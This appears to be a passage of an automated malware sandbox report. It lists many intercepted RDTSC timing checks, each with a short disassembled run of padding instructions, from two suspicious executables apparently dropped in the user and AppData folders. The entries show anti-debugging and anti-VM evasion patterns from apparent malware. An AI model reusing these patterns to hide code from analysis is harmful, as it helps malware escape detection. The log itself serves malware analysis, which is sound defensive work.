Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF29A1 second address: EF29AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E527A7 second address: E527CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jg 00007F1C24BF83FEh 0x0000000d push ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jng 00007F1C24BF83F6h 0x0000001d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF560F second address: EF5615 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5615 second address: EF561A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF561A second address: EF5620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5BB8 second address: EF5BC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007F1C24BF83F6h 0x0000000d pop edi 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5D15 second address: EF5D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA92h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5D2B second address: EF5D37 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1C24BF83F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5D37 second address: EF5D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5EAF second address: EF5EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F1C24BF83F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5EBC second address: EF5ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA90h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F1C24FCCA86h 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5ED8 second address: EF5EEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5EEC second address: EF5EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF5EF2 second address: EF5F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24BF8403h 0x00000009 popad 0x0000000a pushad 0x0000000b jnl 00007F1C24BF83F6h 0x00000011 jl 00007F1C24BF83F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EF60B3 second address: EF60B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFD99D second address: EFD9DB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1C24BF8402h 0x0000001a jmp 00007F1C24BF8407h 0x0000001f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFBCAF second address: EFBCC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFBCC6 second address: EFBCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jo 00007F1C24BF83F6h 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFBCD7 second address: EFBCDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFBCDD second address: EFBCE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC105 second address: EFC115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F1C24FCCA86h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC115 second address: EFC11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC25E second address: EFC27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA96h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC27C second address: EFC296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push ebx 0x00000007 jmp 00007F1C24BF83FEh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC581 second address: EFC585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC6DE second address: EFC6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007F1C24BF83FDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC86D second address: EFC873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFC873 second address: EFC899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1C24BF8403h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFB669 second address: EFB675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1C24FCCA86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFB675 second address: EFB67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFB67A second address: EFB69D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F1C24FCCA96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EFB69D second address: EFB6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24BF8407h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007F1C24BF83FEh 0x00000013 jns 00007F1C24BF83F6h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jnp 00007F1C24BF83F6h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F05C18 second address: F05C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F05C21 second address: F05C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F05DB5 second address: F05DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA99h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F05F56 second address: F05F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1C24BF83F6h 0x0000000a jl 00007F1C24BF83FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F1253E second address: F12560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA98h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F12560 second address: F12564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F12564 second address: F12568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F1BA9C second address: F1BAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F1BAA2 second address: F1BAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F1D17D second address: F1D1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1C24BF83F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F1C24BF8403h 0x00000014 pushad 0x00000015 jg 00007F1C24BF83F6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F2D8BF second address: F2D8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F1C24FCCA86h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F2D8D1 second address: F2D8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F2D8D5 second address: F2D8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F2D8D9 second address: F2D910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1C24BF8411h 0x0000000f jmp 00007F1C24BF8405h 0x00000014 jns 00007F1C24BF83F6h 0x0000001a jmp 00007F1C24BF83FDh 0x0000001f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F31C5F second address: F31C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F1C24FCCA8Ch 0x0000000c pushad 0x0000000d je 00007F1C24FCCA86h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f pop eax 0x00000020 popad 0x00000021 jmp 00007F1C24FCCA8Fh 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F9B1 second address: 102F9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FB2E second address: 102FB49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA97h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FCAA second address: 102FCB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FCB0 second address: 102FCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FCB4 second address: 102FCBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FCBE second address: 102FCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102FCC2 second address: 102FD02 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F1C24BF8405h 0x00000012 jmp 00007F1C24BF8408h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1030114 second address: 103011D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103026A second address: 1030274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1030274 second address: 10302C0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1C24FCCA86h 0x00000008 jns 00007F1C24FCCA86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 pushad 0x00000012 jmp 00007F1C24FCCA99h 0x00000017 jbe 00007F1C24FCCA8Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1C24FCCA93h 0x00000024 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10302C0 second address: 10302C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10308EE second address: 10308F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10308F3 second address: 10308F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1030C9D second address: 1030CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1034193 second address: 10341A5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1C24BF83F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1C24BF83F6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10341A5 second address: 10341B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10341B2 second address: 10341B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10341B6 second address: 10341BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1038F2D second address: 1038F32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A44B second address: 103A451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A451 second address: 103A45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1C24BF83F6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A45E second address: 103A465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A465 second address: 103A472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F1C24BF83FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A472 second address: 103A48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1C24FCCA8Dh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103A48B second address: 103A496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1C24BF83F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103CFAF second address: 103CFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103CFB5 second address: 103CFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1C24BF8402h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103D148 second address: 103D154 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1C24FCCA86h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103D40A second address: 103D422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1C24BF83FDh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103D727 second address: 103D72B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103D9F7 second address: 103D9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103D9FB second address: 103DA1F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24FCCA86h 0x00000008 jmp 00007F1C24FCCA94h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103DA1F second address: 103DA25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040F10 second address: 1040F2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA98h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040F2C second address: 1040F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1C24BF83FBh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040F5C second address: 1040F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040F60 second address: 1040F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8400h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1041B3B second address: 1041B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1041BA9 second address: 1041BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1041BAE second address: 1041C26 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1C24FCCA8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F1C24FCCA94h 0x00000011 xchg eax, ebx 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F1C24FCCA88h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c cld 0x0000002d jmp 00007F1C24FCCA98h 0x00000032 cmc 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F1C24FCCA95h 0x0000003b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1041F83 second address: 1041F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10420BF second address: 10420C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10420C4 second address: 10420F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1C24BF8403h 0x00000012 rdtsc
